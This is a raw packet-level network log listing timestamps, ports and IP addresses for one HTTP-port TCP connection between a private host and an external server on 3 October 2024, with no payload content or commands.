Oct 3, 2024 20:42:02.265667915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.265682936 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.282690048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.282736063 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.282773018 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.282814026 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.282851934 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.282866001 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.282866001 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.282897949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.282922983 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283010960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283045053 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283065081 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283077955 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283111095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283144951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283169031 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283176899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283199072 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283210039 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283247948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283293962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283412933 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283447981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283466101 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283479929 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283513069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283546925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283565998 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283580065 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283596039 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283612967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283646107 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283667088 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283680916 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283926964 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283958912 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.283977985 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.283991098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284003973 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284024000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284056902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284085989 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284105062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284135103 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284274101 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284306049 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284339905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284372091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284385920 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284405947 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284419060 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284439087 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284745932 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284796953 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284799099 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284833908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284842968 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284868002 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284900904 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284931898 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284946918 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284965038 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.284976006 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.284998894 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285031080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285080910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285098076 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285115957 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285128117 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285149097 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285182953 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285207987 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285581112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285614014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285646915 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285646915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285726070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285758972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285774946 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285793066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285804987 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285826921 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285859108 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285892010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285904884 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285923004 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285937071 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.285955906 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.285988092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286021948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286034107 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286053896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286066055 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286087990 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286650896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286684990 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286712885 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286717892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286726952 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286768913 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286798000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286828995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286843061 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286863089 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286873102 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286896944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286930084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286962986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.286977053 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.286997080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287008047 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287029982 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287064075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287096977 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287107944 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287131071 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287142992 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287163973 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287767887 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287801981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287822962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287833929 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287849903 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287868023 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287900925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287933111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287946939 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287965059 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.287976980 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.287998915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288031101 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288063049 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288074017 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288095951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288127899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288150072 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288160086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288167000 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288192987 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288227081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288274050 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288625002 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288659096 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288680077 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288691998 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288723946 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288757086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288772106 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288790941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288800955 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288822889 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288855076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288887978 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288899899 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288921118 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288930893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.288954020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.288985014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.289031982 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.305845976 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.329122066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329164028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329184055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329202890 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329219103 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329236984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329252958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.329286098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.330964088 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.369416952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369488955 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369524956 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369577885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369601011 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.369615078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369633913 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.369648933 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369688034 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369707108 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.369719028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369752884 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369771004 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.369785070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369818926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369851112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369865894 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.369889021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.369895935 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370054960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370088100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370124102 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370135069 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370152950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370171070 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370295048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370326996 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370361090 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370378017 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370393991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370409966 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370428085 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370461941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370512009 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370695114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370728016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370753050 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370760918 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370795012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370826960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370841026 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370862961 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.370874882 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.370902061 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371207952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371239901 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371262074 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371273994 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371289015 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371306896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371340036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371372938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371387005 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371417046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371428013 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371462107 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371495008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371527910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371541977 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371562004 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371575117 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371593952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371634960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371670961 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.371681929 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.371715069 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372030973 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372064114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372144938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372178078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372196913 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372211933 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372222900 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372247934 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372282028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372313976 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372333050 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372348070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372359037 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372380972 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372416019 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372462988 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372765064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372797966 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372814894 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372832060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372903109 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372935057 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372953892 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.372968912 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.372981071 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373002052 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373034954 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373068094 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373080969 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373100042 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373111010 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373132944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373166084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373199940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373210907 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373234034 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373245955 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373543024 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373804092 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373837948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373852968 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373891115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373924017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373955965 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.373970032 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.373991013 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374003887 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.374020100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374053001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374087095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374097109 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.374119997 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374130964 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.374152899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374186039 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374217987 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374226093 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.374252081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374263048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.374285936 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374902010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374936104 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374953032 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.374969006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.374979019 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375003099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375036955 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375068903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375082016 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375102043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375119925 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375139952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375169039 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375200987 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375212908 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375235081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375242949 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375267982 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375302076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375334024 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375346899 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375366926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375376940 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375421047 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375780106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375816107 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375830889 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375848055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375859022 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.375883102 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375936985 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375971079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.375982046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.376019001 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.377481937 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.415862083 CEST	80	49704	188.119.112.7	192.168.2.5
